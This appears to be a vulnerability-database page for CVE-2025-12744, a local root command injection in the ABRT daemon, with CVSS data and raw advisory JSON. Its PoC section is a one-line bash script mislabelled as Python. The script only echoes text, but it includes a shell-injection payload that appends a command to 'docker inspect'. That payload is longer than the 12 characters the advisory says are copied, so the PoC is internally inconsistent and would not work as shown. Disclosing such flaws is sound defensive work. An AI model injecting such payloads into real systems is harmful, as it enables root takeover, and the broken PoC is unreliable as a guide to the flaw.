Security Vulnerability Report
中文
CVE-2025-12744 CVSS 8.8 HIGH

CVE-2025-12744

Published: 2025-12-03 09:15:46
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the ABRT daemon’s handling of user-supplied mount information.ABRT copies up to 12 characters from an untrusted input and places them directly into a shell command (docker inspect %s) without proper validation. An unprivileged local user can craft a payload that injects shell metacharacters, causing the root-running ABRT process to execute attacker-controlled commands and ultimately gain full root privileges.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ABRT daemon < 修复版本
Red Hat Enterprise Linux (受影响的版本)
Fedora (受影响的版本)
CentOS (受影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12744 PoC - ABRT daemon command injection # This PoC demonstrates the command injection vulnerability in ABRT # The vulnerability exists in ABRT's handling of user-supplied mount information # ABRT copies up to 12 characters from untrusted input and places them into # docker inspect %s command without proper validation # Attack payload: inject shell metacharacters to execute arbitrary commands # Since ABRT runs as root, this leads to privilege escalation # Example malicious input that could be used: MALICIOUS_INPUT="'; id > /tmp/pwned #" # When ABRT processes this, the resulting command would be: # docker inspect '; id > /tmp/pwned # # Which executes: id > /tmp/pwned as root echo "CVE-2025-12744 PoC" echo "Target: ABRT daemon command injection" echo "Impact: Local privilege escalation to root" echo "" echo "Attack vector:" echo "1. Attacker provides malicious input to ABRT" echo "2. Input contains shell metacharacters (e.g., '; command #')" echo "3. ABRT copies up to 12 chars and inserts into shell command" echo "4. Commands executed with root privileges" echo "" echo "Proof of concept payload: ${MALICIOUS_INPUT}" echo "" echo "Note: This vulnerability allows unprivileged local users to gain root access"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12744", "sourceIdentifier": "[email protected]", "published": "2025-12-03T09:15:46.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the ABRT daemon’s handling of user-supplied mount information.ABRT copies up to 12 characters from an untrusted input and places them directly into a shell command (docker inspect %s) without proper validation. An unprivileged local user can craft a payload that injects shell metacharacters, causing the root-running ABRT process to execute attacker-controlled commands and ultimately gain full root privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-12744", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2412467", "source": "[email protected]"}]}}